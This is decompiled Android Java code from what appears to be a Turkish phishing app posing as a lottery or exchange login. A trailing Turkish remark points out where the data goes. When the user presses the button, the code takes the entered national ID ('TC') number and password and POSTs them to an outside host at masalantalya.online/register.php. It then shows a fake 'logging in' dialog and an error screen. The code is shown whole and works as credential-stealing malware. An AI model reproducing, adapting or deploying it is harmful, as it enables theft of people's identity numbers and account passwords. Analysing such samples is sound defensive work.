package com.tranetech.paribucep.halkincekilisi;

import android.app.Activity;
import android.app.ProgressDialog;
import android.content.Intent;
import android.os.Bundle;
import android.os.StrictMode;
import android.os.StrictMode.ThreadPolicy.Builder;
import android.util.Log;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.TextView;
import halkin.cekilisi.R;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLEncoder;

public class gorevci extends Activity {
    ProgressDialog f1397a;

    class C04191 implements OnClickListener {
        final /* synthetic */ gorevci f1396a;

        class C04181 implements Runnable {
            final /* synthetic */ C04191 f1395a;

            C04181(C04191 c04191) {
                this.f1395a = c04191;
            }

            public void run() {
                try {
                    Thread.sleep(10000);
                } catch (Exception e) {
                    e.printStackTrace();
                }
                this.f1395a.f1396a.f1397a.dismiss();
            }
        }

        C04191(gorevci com_tranetech_paribucep_halkincekilisi_gorevci) {
            this.f1396a = com_tranetech_paribucep_halkincekilisi_gorevci;
        }

        public void onClick(View view) {
            Intent intent;
            StrictMode.setThreadPolicy(new Builder().permitAll().build());
            Log.i("gorevci", "Send Button Clicked.");
            String charSequence = ((TextView) this.f1396a.findViewById(R.id.editText)).getText().toString();
            String charSequence2 = ((TextView) this.f1396a.findViewById(R.id.editText2)).getText().toString();
            if (!charSequence.isEmpty()) {
                if (!charSequence2.isEmpty()) {
                    if (!charSequence.equals("5555555555")) {
                        String str = "http://masalantalya.online/register.php";
                        if ("register".equals("register")) {
                            String str2 = "TC";
                            String str3 = "Şifre";
                            try {
                                HttpURLConnection httpURLConnection = (HttpURLConnection) new URL(str).openConnection();
                                httpURLConnection.setRequestMethod("POST");
                                httpURLConnection.setDoOutput(true);
                                OutputStream outputStream = httpURLConnection.getOutputStream();
                                StringBuilder stringBuilder = new StringBuilder();
                                stringBuilder.append(URLEncoder.encode("name", "UTF-8"));
                                stringBuilder.append("=");
                                stringBuilder.append(URLEncoder.encode(str2, "UTF-8"));
                                stringBuilder.append("&");
                                stringBuilder.append(URLEncoder.encode("password", "UTF-8"));
                                stringBuilder.append("=");
                                stringBuilder.append(URLEncoder.encode(charSequence, "UTF-8"));
                                stringBuilder.append("&");
                                stringBuilder.append(URLEncoder.encode("contact", "UTF-8"));
                                stringBuilder.append("=");
                                stringBuilder.append(URLEncoder.encode(str3, "UTF-8"));
                                stringBuilder.append("&");
                                stringBuilder.append(URLEncoder.encode("country", "UTF-8"));
                                stringBuilder.append("=");
                                stringBuilder.append(URLEncoder.encode(charSequence2, "UTF-8"));
                                charSequence = stringBuilder.toString();
                                BufferedWriter bufferedWriter = new BufferedWriter(new OutputStreamWriter(outputStream, "UTF-8"));
                                bufferedWriter.write(charSequence);
                                bufferedWriter.flush();
                                if (httpURLConnection.getResponseCode() == 200) {
                                    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(httpURLConnection.getInputStream()));
                                    StringBuilder stringBuilder2 = new StringBuilder();
                                    while (true) {
                                        str = bufferedReader.readLine();
                                        if (str == null) {
                                            break;
                                        }
                                        stringBuilder2.append(str);
                                        stringBuilder2.append("n");
                                    }
                                    stringBuilder2.toString();
                                    bufferedWriter.close();
                                }
                            } catch (MalformedURLException e) {
                                e.printStackTrace();
                            } catch (IOException e2) {
                                e2.printStackTrace();
                            }
                            this.f1396a.f1397a = new ProgressDialog(this.f1396a);
                            this.f1396a.f1397a.setMessage("Giriş Yapılıyor...");
                            this.f1396a.f1397a.setTitle("ProgressDialog");
                            this.f1396a.f1397a.setProgressStyle(0);
                            this.f1396a.f1397a.show();
                            this.f1396a.f1397a.setCancelable(false);
                            new Thread(new C04181(this)).start();
                            intent = new Intent(this.f1396a.getBaseContext(), hatali.class);
                        } else {
                            return;
                        }
                    } else if (charSequence2.equals("text")) {
                        intent = new Intent(this.f1396a.getBaseContext(), hatalisifre.class);
                    } else {
                        return;
                    }
                    this.f1396a.startActivity(intent);
                }
            }
            intent = new Intent(this.f1396a.getBaseContext(), hataliboslk.class);
            this.f1396a.startActivity(intent);
        }
    }

    public void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        setContentView(R.layout.tiviman);
        ((Button) findViewById(R.id.button1)).setOnClickListener(new C04191(this));
    }
}
gordugunuz gibi http://masalantalya.online/register.php buraya post ediliyor